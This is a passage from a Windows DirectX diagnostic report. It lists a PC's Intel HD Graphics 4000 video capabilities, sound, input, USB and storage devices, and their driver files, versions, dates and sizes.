igdumd64.dll,igd10umd64.dll,igd10umd64.dll,igdumdx32,igd10umd32,igd10umd32 Driver File Version: 9.17.0010.2932 (English) Driver Version: 9.17.10.2932 DDI Version: 11 Feature Levels: 11.0,10.1,10.0,9.3,9.2,9.1 Driver Model: WDDM 1.2 Graphics Preemption: DMA Compute Preemption: Thread group Driver Attributes: Final Retail Driver Date/Size: 12/14/2012 02:42:34, 12615680 bytes WHQL Logo'd: Yes WHQL Date Stamp: Device Identifier: {D7B78E66-4222-11CF-8D70-6821B7C2C435} Vendor ID: 0x8086 Device ID: 0x0162 SubSys ID: 0x01621849 Revision ID: 0x0009 Driver Strong Name: oem3.inf:5f63e53413eb6103:iIVBD0:9.17.10.2932:pci\ven_8086&dev_0162 Rank Of Driver: 00E02001 Video Accel: ModeMPEG2_A ModeMPEG2_C ModeWMV9_C ModeVC1_C DXVA2 Modes: DXVA2_ModeMPEG2_VLD DXVA2_ModeMPEG2_IDCT DXVA2_ModeWMV9_IDCT DXVA2_ModeVC1_IDCT DXVA2_ModeH264_VLD_NoFGT Deinterlace Caps: {BF752EF6-8CC4-457A-BE1B-08BD1CAEEE9F}: Format(In/Out)=(YUY2,YUY2) Frames(Prev/Fwd/Back)=(0,0,1) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend DeinterlaceTech_EdgeFiltering {335AA36E-7884-43A4-9C91-7F87FAF3E37E}: Format(In/Out)=(YUY2,YUY2) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend DeinterlaceTech_BOBVerticalStretch {5A54A0C9-C7EC-4BD9-8EDE-F3C75DC4393B}: Format(In/Out)=(YUY2,YUY2) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend {BF752EF6-8CC4-457A-BE1B-08BD1CAEEE9F}: Format(In/Out)=(UYVY,YUY2) Frames(Prev/Fwd/Back)=(0,0,1) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend DeinterlaceTech_EdgeFiltering {335AA36E-7884-43A4-9C91-7F87FAF3E37E}: Format(In/Out)=(UYVY,YUY2) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend DeinterlaceTech_BOBVerticalStretch {5A54A0C9-C7EC-4BD9-8EDE-F3C75DC4393B}: Format(In/Out)=(UYVY,YUY2) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend {BF752EF6-8CC4-457A-BE1B-08BD1CAEEE9F}: Format(In/Out)=(YV12,YUY2) Frames(Prev/Fwd/Back)=(0,0,1) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend DeinterlaceTech_EdgeFiltering {335AA36E-7884-43A4-9C91-7F87FAF3E37E}: Format(In/Out)=(YV12,YUY2) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend DeinterlaceTech_BOBVerticalStretch {5A54A0C9-C7EC-4BD9-8EDE-F3C75DC4393B}: Format(In/Out)=(YV12,YUY2) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend {BF752EF6-8CC4-457A-BE1B-08BD1CAEEE9F}: Format(In/Out)=(NV12,YUY2) Frames(Prev/Fwd/Back)=(0,0,1) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend DeinterlaceTech_EdgeFiltering {335AA36E-7884-43A4-9C91-7F87FAF3E37E}: Format(In/Out)=(NV12,YUY2) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend DeinterlaceTech_BOBVerticalStretch {5A54A0C9-C7EC-4BD9-8EDE-F3C75DC4393B}: Format(In/Out)=(NV12,YUY2) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend {BF752EF6-8CC4-457A-BE1B-08BD1CAEEE9F}: Format(In/Out)=(IMC1,YUY2) Frames(Prev/Fwd/Back)=(0,0,1) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend DeinterlaceTech_EdgeFiltering {335AA36E-7884-43A4-9C91-7F87FAF3E37E}: Format(In/Out)=(IMC1,YUY2) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend DeinterlaceTech_BOBVerticalStretch {5A54A0C9-C7EC-4BD9-8EDE-F3C75DC4393B}: Format(In/Out)=(IMC1,YUY2) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend {BF752EF6-8CC4-457A-BE1B-08BD1CAEEE9F}: Format(In/Out)=(IMC2,YUY2) Frames(Prev/Fwd/Back)=(0,0,1) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend DeinterlaceTech_EdgeFiltering {335AA36E-7884-43A4-9C91-7F87FAF3E37E}: Format(In/Out)=(IMC2,YUY2) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend DeinterlaceTech_BOBVerticalStretch {5A54A0C9-C7EC-4BD9-8EDE-F3C75DC4393B}: Format(In/Out)=(IMC2,YUY2) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend {BF752EF6-8CC4-457A-BE1B-08BD1CAEEE9F}: Format(In/Out)=(IMC3,YUY2) Frames(Prev/Fwd/Back)=(0,0,1) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend DeinterlaceTech_EdgeFiltering {335AA36E-7884-43A4-9C91-7F87FAF3E37E}: Format(In/Out)=(IMC3,YUY2) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend DeinterlaceTech_BOBVerticalStretch {5A54A0C9-C7EC-4BD9-8EDE-F3C75DC4393B}: Format(In/Out)=(IMC3,YUY2) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend {BF752EF6-8CC4-457A-BE1B-08BD1CAEEE9F}: Format(In/Out)=(IMC4,YUY2) Frames(Prev/Fwd/Back)=(0,0,1) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend DeinterlaceTech_EdgeFiltering {335AA36E-7884-43A4-9C91-7F87FAF3E37E}: Format(In/Out)=(IMC4,YUY2) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend DeinterlaceTech_BOBVerticalStretch {5A54A0C9-C7EC-4BD9-8EDE-F3C75DC4393B}: Format(In/Out)=(IMC4,YUY2) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend D3D9 Overlay: Supported DXVA-HD: Supported DDraw Status: Enabled D3D Status: Enabled AGP Status: Enabled ------------- Sound Devices ------------- Description: Speakers (Plantronics GameCom 780) Default Sound Playback: Yes Default Voice Playback: Yes Hardware ID: USB\VID_047F&PID_C010&REV_0100&MI_00 Manufacturer ID: 65535 Product ID: 65535 Type: WDM Driver Name: USBAUDIO.sys Driver Version: 6.02.9200.16384 (English) Driver Attributes: Final Retail WHQL Logo'd: Yes Date and Size: 7/26/2012 03:26:27, 121856 bytes Other Files: Driver Provider: Microsoft HW Accel Level: Basic Cap Flags: 0xF1F Min/Max Sample Rate: 100, 200000 Static/Strm HW Mix Bufs: 1, 0 Static/Strm HW 3D Bufs: 0, 0 HW Memory: 0 Voice Management: No EAX(tm) 2.0 Listen/Src: No, No I3DL2(tm) Listen/Src: No, No Sensaura(tm) ZoomFX(tm): No Description: Speakers (High Definition Audio Device) Default Sound Playback: No Default Voice Playback: No Hardware ID: HDAUDIO\FUNC_01&VEN_10EC&DEV_0899&SUBSYS_18491898&REV_1000 Manufacturer ID: 1 Product ID: 65535 Type: WDM Driver Name: HdAudio.sys Driver Version: 6.02.9200.16384 (English) Driver Attributes: Final Retail WHQL Logo'd: Yes Date and Size: 7/26/2012 03:26:51, 339968 bytes Other Files: Driver Provider: Microsoft HW Accel Level: Basic Cap Flags: 0xF1F Min/Max Sample Rate: 100, 200000 Static/Strm HW Mix Bufs: 1, 0 Static/Strm HW 3D Bufs: 0, 0 HW Memory: 0 Voice Management: No EAX(tm) 2.0 Listen/Src: No, No I3DL2(tm) Listen/Src: No, No Sensaura(tm) ZoomFX(tm): No Description: Digital Audio (S/PDIF) (High Definition Audio Device) Default Sound Playback: No Default Voice Playback: No Hardware ID: HDAUDIO\FUNC_01&VEN_10EC&DEV_0899&SUBSYS_18491898&REV_1000 Manufacturer ID: 1 Product ID: 65535 Type: WDM Driver Name: HdAudio.sys Driver Version: 6.02.9200.16384 (English) Driver Attributes: Final Retail WHQL Logo'd: Yes Date and Size: 7/26/2012 03:26:51, 339968 bytes Other Files: Driver Provider: Microsoft HW Accel Level: Basic Cap Flags: 0xF1F Min/Max Sample Rate: 100, 200000 Static/Strm HW Mix Bufs: 1, 0 Static/Strm HW 3D Bufs: 0, 0 HW Memory: 0 Voice Management: No EAX(tm) 2.0 Listen/Src: No, No I3DL2(tm) Listen/Src: No, No Sensaura(tm) ZoomFX(tm): No --------------------- Sound Capture Devices --------------------- Description: Microphone (Plantronics GameCom 780) Default Sound Capture: Yes Default Voice Capture: Yes Driver Name: USBAUDIO.sys Driver Version: 6.02.9200.16384 (English) Driver Attributes: Final Retail Date and Size: 7/26/2012 03:26:27, 121856 bytes Cap Flags: 0x1 Format Flags: 0xFFFFF Description: SPDIF Interface (Plantronics GameCom 780) Default Sound Capture: No Default Voice Capture: No Driver Name: USBAUDIO.sys Driver Version: 6.02.9200.16384 (English) Driver Attributes: Final Retail Date and Size: 7/26/2012 03:26:27, 121856 bytes Cap Flags: 0x1 Format Flags: 0xFFFFF Description: Line (Plantronics GameCom 780) Default Sound Capture: No Default Voice Capture: No Driver Name: USBAUDIO.sys Driver Version: 6.02.9200.16384 (English) Driver Attributes: Final Retail Date and Size: 7/26/2012 03:26:27, 121856 bytes Cap Flags: 0x1 Format Flags: 0xFFFFF ------------------- DirectInput Devices ------------------- Device Name: Mouse Attached: 1 Controller ID: n/a Vendor/Product ID: n/a FF Driver: n/a Device Name: Keyboard Attached: 1 Controller ID: n/a Vendor/Product ID: n/a FF Driver: n/a Device Name: Plantronics GameCom 780 Attached: 1 Controller ID: 0x0 Vendor/Product ID: 0x047F, 0xC010 FF Driver: n/a Poll w/ Interrupt: No ----------- USB Devices ----------- + USB Root Hub | Vendor/Product ID: 0x8086, 0x1E2D | Matching Device ID: USB\ROOT_HUB20 | Service: usbhub | Driver: usbhub.sys, 7/26/2012 06:00:58, 496368 bytes | Driver: usbd.sys, 7/26/2012 06:00:58, 21744 bytes | +-+ Generic USB Hub | | Vendor/Product ID: 0x8087, 0x0024 | | Location: Port_#0001.Hub_#0001 | | Matching Device ID: USB\Class_09 | | Service: usbhub | | Driver: usbhub.sys, 7/26/2012 06:00:58, 496368 bytes | | Driver: usbd.sys, 7/26/2012 06:00:58, 21744 bytes ---------------- Gameport Devices ---------------- ------------ PS/2 Devices ------------ + Standard PS/2 Keyboard | Matching Device ID: *PNP0303 | Service: i8042prt | Driver: i8042prt.sys, 7/26/2012 03:28:51, 112640 bytes | Driver: kbdclass.sys, 7/26/2012 06:00:52, 48368 bytes | + HID Keyboard Device | Vendor/Product ID: 0x1532, 0x0015 | Matching Device ID: HID_DEVICE_SYSTEM_KEYBOARD | Service: kbdhid | Driver: kbdhid.sys, 7/26/2012 03:28:49, 29184 bytes | Driver: kbdclass.sys, 7/26/2012 06:00:52, 48368 bytes | + HID-compliant mouse | Vendor/Product ID: 0x1532, 0x0015 | Matching Device ID: HID_DEVICE_SYSTEM_MOUSE | Service: mouhid | Driver: mouhid.sys, 7/26/2012 03:28:47, 26112 bytes | Driver: mouclass.sys, 7/26/2012 06:00:55, 45808 bytes ------------------------ Disk & DVD/CD-ROM Drives ------------------------ Drive: C: Free Space: 1843.8 GB Total Space: 1874.6 GB File System: NTFS Model: ST2000DM001-1CH164 Drive: D: Free Space: 273.0 GB Total Space: 715.4 GB File System: NTFS Model: WDC WD7500AACS-00D6B0 Drive: E: Model: PIONEER DVD-RW DVR-220L Driver: c:\windows\system32\drivers\cdrom.sys, 6.02.9200.16384 (English), 7/26/2012 03:26:36, 174080 bytes -------------- System Devices -------------- Name: Intel(R) 7 Series/C216 Chipset Family USB Enhanced Host Controller - 1E2D Device ID: PCI\VEN_8086&DEV_1E2D&SUBSYS_1E2D1849&REV_04\3&11583659&0&D0 Driver: C:\WINDOWS\system32\drivers\usbehci.sys, 6.02.9200.16384 (English), 7/26/2012 06:00:58, 78576 bytes Driver: C:\WINDOWS\system32\drivers\usbport.sys, 6.02.9200.16384 (English), 7/26/2012 06:00:58, 487664 bytes Driver: C:\WINDOWS\system32\drivers\usbhub.sys, 6.02.9200.16384 (English), 7/26/2012 06:00:58, 496368 bytes Name: Intel(R) 7 Series/C216 Chipset Family USB Enhanced Host Controller - 1E26 Device ID: PCI\VEN_8086&DEV_1E26&SUBSYS_1E261849&REV_04\3&11583659&0&E8 Driver: C:\WINDOWS\system32\drivers\usbehci.sys, 6.02.9200.16384 (English), 7/26/2012 06:00:58, 78576 bytes Driver: C:\WINDOWS\system32\drivers\usbport.sys, 6.02.9200.16384 (English), 7/26/2012 06:00:58, 487664 bytes Driver: C:\WINDOWS\system32\drivers\usbhub.sys, 6.02.9200.16384 (English), 7/26/2012 06:00:58, 496368 bytes Name: High Definition Audio Controller Device ID: PCI\VEN_8086&DEV_1E20&SUBSYS_18981849&REV_04\3&11583659&0&D8 Driver: C:\WINDOWS\system32\DRIVERS\hdaudbus.sys, 6.02.9200.16384 (English), 7/26/2012 03:27:36, 71168 bytes Name: Intel(R) 7 Series/C216 Chipset Family SMBus Host Controller - 1E22 Device ID: PCI\VEN_8086&DEV_1E22&SUBSYS_1E221849&REV_04\3&11583659&0&FB Driver: n/a Name: Intel(R) 7 Series/C216 Chipset Family PCI Express Root Port 5 - 1E18 Device ID: PCI\VEN_8086&DEV_1E18&SUBSYS_1E181849&REV_C4\3&11583659&0&E4 Driver: C:\WINDOWS\system32\DRIVERS\pci.sys, 6.02.9200.16384 (English), 7/26/2012 06:00:55, 234224 bytes Name: Intel(R) 7 Series/C216 Chipset Family PCI Express Root Port 4 - 1E16 Device ID: PCI\VEN_8086&DEV_1E16&SUBSYS_1E161849&REV_C4\3&11583659&0&E3 Driver: C:\WINDOWS\system32\DRIVERS\pci.sys, 6.02.9200.16384 (English), 7/26/2012 06:00:55, 234224 bytes Name: High Definition Audio Controller Device ID: PCI\VEN_10DE&DEV_0E0A&SUBSYS_355A1458&REV_A1\4&15001D53&0&0108 Driver: C:\WINDOWS\system32\DRIVERS\hdaudbus.sys, 6.02.9200.16384 (English), 7/26/2012 03:27:36, 71168 bytes Name: Intel(R) 7 Series/C216 Chipset Family PCI Express Root Port 1 - 1E10 Device ID: PCI\VEN_8086&DEV_1E10&SUBSYS_1E101849&REV_C4\3&11583659&0&E0 Driver: C:\WINDOWS\system32\DRIVERS\pci.sys, 6.02.9200.16384 (English), 7/26/2012 06:00:55, 234224 bytes Name: Intel(R) HD Graphics 4000 Device ID: PCI\VEN_8086&DEV_0162&SUBSYS_01621849&REV_09\3&11583659&0&10 Driver: C:\WINDOWS\system32\DRIVERS\igdkmd64.sys, 9.17.0010.2932 (English), 12/14/2012 02:42:22, 5353888 bytes Driver: C:\WINDOWS\system32\igdumd64.dll, 9.17.0010.2932 (English), 12/14/2012 02:42:34, 12615680 bytes Driver: C:\WINDOWS\system32\igd10umd64.dll, 9.17.0010.2932 (English), 12/14/2012 02:42:26, 12858368 bytes Driver: C:\WINDOWS\system32\igfxcmrt64.dll, 2.04.0000.1019 (English), 12/14/2012 02:42:20, 518656 bytes Driver: C:\WINDOWS\system32\igfx11cmrt64.dll, 2.04.0000.1019 (English), 12/14/2012 02:42:26, 483840 bytes Driver: C:\WINDOWS\system32\igfxcmjit64.dll, 2.04.0000.1019 (English), 12/14/2012 02:42:12, 3511296 bytes Driver: C:\WINDOWS\system32\IccLibDll_x64.dll, 12/14/2012 02:42:12, 94208 bytes Driver: C:\WINDOWS\system32\igcodeckrng700.bin, 12/14/2012 02:42:24, 754652 bytes Driver: C:\WINDOWS\system32\igvpkrng700.bin, 12/14/2012 02:42:24, 598384 bytes Driver: C:\WINDOWS\SysWow64\igcodeckrng700.bin, 12/14/2012 02:42:24, 754652 bytes Driver: C:\WINDOWS\SysWow64\igvpkrng700.bin, 12/14/2012 02:42:24, 598384 bytes Driver: C:\WINDOWS\system32\igdde64.dll, 12/14/2012 02:42:24, 80384 bytes Driver: C:\WINDOWS\SysWow64\igdde32.dll, 12/14/2012 02:42:30, 64512 bytes Driver: C:\WINDOWS\system32\iglhxs64.vp, 12/14/2012 02:42:20, 17102 bytes Driver: C:\WINDOWS\system32\iglhxo64.vp, 6/2/2012 15:32:34, 59425 bytes Driver: C:\WINDOWS\system32\iglhxc64.vp, 6/2/2012 15:32:34, 59230 bytes Driver: C:\WINDOWS\system32\iglhxg64.vp, 6/2/2012 15:32:34, 59398 bytes Driver: C:\WINDOWS\system32\iglhxo64_dev.vp, 6/2/2012 15:32:34, 58109 bytes Driver: C:\WINDOWS\system32\iglhxc64_dev.vp, 6/2/2012 15:32:34, 59104 bytes Driver: C:\WINDOWS\system32\iglhxg64_dev.vp, 6/2/2012 15:32:34, 58796 bytes Driver: C:\WINDOWS\system32\iglhxa64.vp, 6/2/2012 15:32:34, 1074 bytes Driver: C:\WINDOWS\system32\iglhxa64.cpa, 6/2/2012 15:32:34, 1981696 bytes Driver: C:\WINDOWS\system32\iglhcp64.dll, 3.00.0001.0016 (English), 12/14/2012 02:42:10, 216064 bytes Driver: C:\WINDOWS\system32\iglhsip64.dll, 3.00.0000.0012 (English), 12/14/2012 02:42:24, 524800 bytes Driver: C:\WINDOWS\SysWow64\igdumd32.dll, 9.17.0010.2932 (English), 12/14/2012 02:42:24, 11049472 bytes Driver: C:\WINDOWS\SysWow64\igfxdv32.dll, 8.15.0010.2932 (English), 12/14/2012 02:42:30, 330752 bytes Driver: C:\WINDOWS\SysWow64\igd10umd32.dll, 9.17.0010.2932 (English), 12/14/2012 02:42:30, 11174912 bytes Driver: C:\WINDOWS\SysWow64\iglhcp32.dll, 3.00.0001.0015 (English), 12/14/2012 02:42:30, 180224 bytes Driver: C:\WINDOWS\SysWow64\iglhsip32.dll, 3.00.0000.0012 (English), 12/14/2012 02:42:24, 519680 bytes Driver: C:\WINDOWS\SysWow64\IntelCpHeciSvc.exe, 1.00.0001.0014 (English), 12/14/2012 02:42:10, 277616 bytes Driver: C:\WINDOWS\SysWow64\igfxcmrt32.dll, 2.04.0000.1019 (English), 12/14/2012 02:42:28, 640512 bytes Driver: C:\WINDOWS\SysWow64\igfx11cmrt32.dll, 2.04.0000.1019 (English), 12/14/2012 02:42:24, 459264 bytes Driver: C:\WINDOWS\SysWow64\igfxcmjit32.dll, 2.04.0000.1019 (English), 12/14/2012 02:42:28, 3121152 bytes Driver: C:\WINDOWS\system32\difx64.exe, 1.04.0002.0000 (English), 12/14/2012 02:42:22, 185968 bytes Driver: C:\WINDOWS\system32\hccutils.dll, 8.15.0010.2932 (English), 12/14/2012 02:42:30, 110592 bytes Driver: C:\WINDOWS\system32\igfxsrvc.dll, 8.15.0010.2932 (English), 12/14/2012 02:42:30, 64000 bytes Driver: C:\WINDOWS\system32\igfxsrvc.exe, 8.15.0010.2932 (English), 12/14/2012 02:42:28, 512112 bytes Driver: C:\WINDOWS\system32\igfxpph.dll, 8.15.0010.2932 (English), 12/14/2012 02:42:34, 384512 bytes Driver: C:\WINDOWS\system32\igfxcpl.cpl, 8.15.0010.2932 (English), 12/14/2012 02:42:16, 126976 bytes Driver: C:\WINDOWS\system32\igfxdev.dll, 8.15.0010.2932 (English), 12/14/2012 02:42:16, 442880 bytes Driver: C:\WINDOWS\system32\igfxdo.dll, 8.15.0010.2932 (English), 12/14/2012 02:42:24, 142336 bytes Driver: C:\WINDOWS\system32\igfxtray.exe, 8.15.0010.2932 (English), 12/14/2012 02:42:14, 172144 bytes Driver: C:\WINDOWS\system32\hkcmd.exe, 8.15.0010.2932 (English), 12/14/2012 02:42:10, 399984 bytes Driver: C:\WINDOWS\system32\igfxress.dll, 8.15.0010.2932 (English), 12/14/2012 02:42:26, 9007616 bytes Driver: C:\WINDOWS\system32\igfxpers.exe, 8.15.0010.2932 (English), 12/14/2012 02:42:14, 441968 bytes Driver: C:\WINDOWS\system32\igfxTMM.dll, 8.15.0010.2932 (English), 12/14/2012 02:42:14, 410112 bytes Driver: C:\WINDOWS\system32\gfxSrvc.dll, 8.15.0010.2932 (English), 12/14/2012 02:42:12, 175104 bytes Driver: C:\WINDOWS\system32\GfxUI.exe, 8.15.0010.2932 (English), 12/14/2012 02:42:12, 5906032 bytes Driver: C:\WINDOWS\system32\GfxUI.exe.config, 12/14/2012 02:42:28, 268 bytes Driver: C:\WINDOWS\system32\IGFXDEVLib.dll, 1.00.0000.0000 (Invariant Language), 12/14/2012 02:42:36, 9728 bytes Driver: C:\WINDOWS\system32\igfxext.exe, 8.15.0010.2932 (English), 12/14/2012 02:42:28, 255088 bytes Driver: C:\WINDOWS\system32\igfxexps.dll, 8.15.0010.2932 (English), 12/14/2012 02:42:30, 28672 bytes Driver: C:\WINDOWS\SysWow64\igfxexps32.dll, 8.15.0010.2932 (English), 12/14/2012 02:42:22, 25088 bytes Driver: C:\WINDOWS\system32\igfxrara.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:30, 435712 bytes Driver: C:\WINDOWS\system32\igfxrchs.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:26, 428544 bytes Driver: C:\WINDOWS\system32\igfxrcht.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:30, 429056 bytes Driver: C:\WINDOWS\system32\igfxrdan.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:16, 437248 bytes Driver: C:\WINDOWS\system32\igfxrdeu.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:28, 438784 bytes Driver: C:\WINDOWS\system32\igfxrenu.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:24, 286208 bytes Driver: C:\WINDOWS\system32\igfxresn.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:26, 439808 bytes Driver: C:\WINDOWS\system32\igfxrfin.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:20, 438272 bytes Driver: C:\WINDOWS\system32\igfxrfra.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:14, 439808 bytes Driver: C:\WINDOWS\system32\igfxrheb.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:30, 435712 bytes Driver: C:\WINDOWS\system32\igfxrhrv.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:12, 438784 bytes Driver: C:\WINDOWS\system32\igfxrita.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:16, 438784 bytes Driver: C:\WINDOWS\system32\igfxrjpn.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:20, 432128 bytes Driver: C:\WINDOWS\system32\igfxrkor.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:30, 431104 bytes Driver: C:\WINDOWS\system32\igfxrnld.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:28, 438784 bytes Driver: C:\WINDOWS\system32\igfxrnor.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:36, 437760 bytes Driver: C:\WINDOWS\system32\igfxrplk.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:12, 438784 bytes Driver: C:\WINDOWS\system32\igfxrptb.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:30, 437760 bytes Driver: C:\WINDOWS\system32\igfxrptg.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:24, 438784 bytes Driver: C:\WINDOWS\system32\igfxrrom.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:22, 439296 bytes Driver: C:\WINDOWS\system32\igfxrrus.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:24, 439296 bytes Driver: C:\WINDOWS\system32\igfxrsky.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:12, 438784 bytes Driver: C:\WINDOWS\system32\igfxrslv.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:10, 437760 bytes Driver: C:\WINDOWS\system32\igfxrsve.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:20, 437760 bytes Driver: C:\WINDOWS\system32\igfxrtha.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:30, 437248 bytes Driver: C:\WINDOWS\system32\igfxrcsy.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:22, 438272 bytes Driver: C:\WINDOWS\system32\igfxrell.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:30, 440320 bytes Driver: C:\WINDOWS\system32\igfxrhun.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:16, 438272 bytes Driver: C:\WINDOWS\system32\igfxrtrk.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:26, 437760 bytes Driver: C:\WINDOWS\system32\Gfxres.ar-SA.resources, 12/14/2012 02:42:30, 166124 bytes Driver: C:\WINDOWS\system32\Gfxres.cs-CZ.resources, 12/14/2012 02:42:12, 142267 bytes Driver: C:\WINDOWS\system32\Gfxres.da-DK.resources, 12/14/2012 02:42:16, 137132 bytes Driver: C:\WINDOWS\system32\Gfxres.de-DE.resources, 12/14/2012 02:42:28, 147360 bytes Driver: C:\WINDOWS\system32\Gfxres.el-GR.resources, 12/14/2012 02:42:30, 209986 bytes Driver: C:\WINDOWS\system32\Gfxres.es-ES.resources, 12/14/2012 02:42:22, 147269 bytes Driver: C:\WINDOWS\system32\Gfxres.en-US.resources, 12/14/2012 02:42:30, 132623 bytes Driver: C:\WINDOWS\system32\Gfxres.fi-FI.resources, 12/14/2012 02:42:22, 141998 bytes Driver: C:\WINDOWS\system32\Gfxres.fr-FR.resources, 12/14/2012 02:42:36, 145470 bytes Driver: C:\WINDOWS\system32\Gfxres.he-IL.resources, 12/14/2012 02:42:10, 158986 bytes Driver: C:\WINDOWS\system32\Gfxres.hr-HR.resources, 12/14/2012 02:42:30, 141038 bytes Driver: C:\WINDOWS\system32\Gfxres.hu-HU.resources, 12/14/2012 02:42:30, 143916 bytes Driver: C:\WINDOWS\system32\Gfxres.it-IT.resources, 12/14/2012 02:42:10, 149649 bytes Driver: C:\WINDOWS\system32\Gfxres.ja-JP.resources, 12/14/2012 02:42:30, 163379 bytes Driver: C:\WINDOWS\system32\Gfxres.ko-KR.resources, 12/14/2012 02:42:24, 148018 bytes Driver: C:\WINDOWS\system32\Gfxres.nb-NO.resources, 12/14/2012 02:42:24, 137793 bytes Driver: C:\WINDOWS\system32\Gfxres.nl-NL.resources, 12/14/2012 02:42:12, 143989 bytes Driver: C:\WINDOWS\system32\Gfxres.pl-PL.resources, 12/14/2012 02:42:26, 142682 bytes Driver: C:\WINDOWS\system32\Gfxres.pt-BR.resources, 12/14/2012 02:42:36, 144235 bytes Driver: C:\WINDOWS\system32\Gfxres.pt-PT.resources, 12/14/2012 02:42:24, 143249 bytes Driver: C:\WINDOWS\system32\Gfxres.ro-RO.resources, 12/14/2012 02:42:22, 145974 bytes Driver: C:\WINDOWS\system32\Gfxres.ru-RU.resources, 12/14/2012 02:42:28, 194121 bytes Driver: C:\WINDOWS\system32\Gfxres.sk-SK.resources, 12/14/2012 02:42:24, 141833 bytes Driver: C:\WINDOWS\system32\Gfxres.sl-SI.resources, 12/14/2012 02:42:22, 137880 bytes Driver: C:\WINDOWS\system32\Gfxres.sv-SE.resources, 12/14/2012 02:42:24, 142876 bytes Driver: C:\WINDOWS\system32\Gfxres.th-TH.resources, 12/14/2012 02:42:12, 223492 bytes Driver: C:\WINDOWS\system32\Gfxres.tr-TR.resources, 12/14/2012 02:42:30, 144637 bytes Driver: C:\WINDOWS\system32\Gfxres.zh-CN.resources, 12/14/2012 02:42:30, 124662 bytes Driver: C:\WINDOWS\system32\Gfxres.zh-TW.resources, 12/14/2012 02:42:12, 126294 bytes Driver: C:\WINDOWS\system32\ig7icd64.dll, 9.17.0010.2932 (English), 12/14/2012 02:42:22, 11633152 bytes Driver: C:\WINDOWS\SysWow64\ig7icd32.dll, 9.17.0010.2932 (English), 12/14/2012 02:42:20, 8621056 bytes Driver: C:\WINDOWS\system32\Intel_OpenCL_ICD64.dll, 1.02.0001.0000 (English), 12/14/2012 02:42:22, 56832 bytes 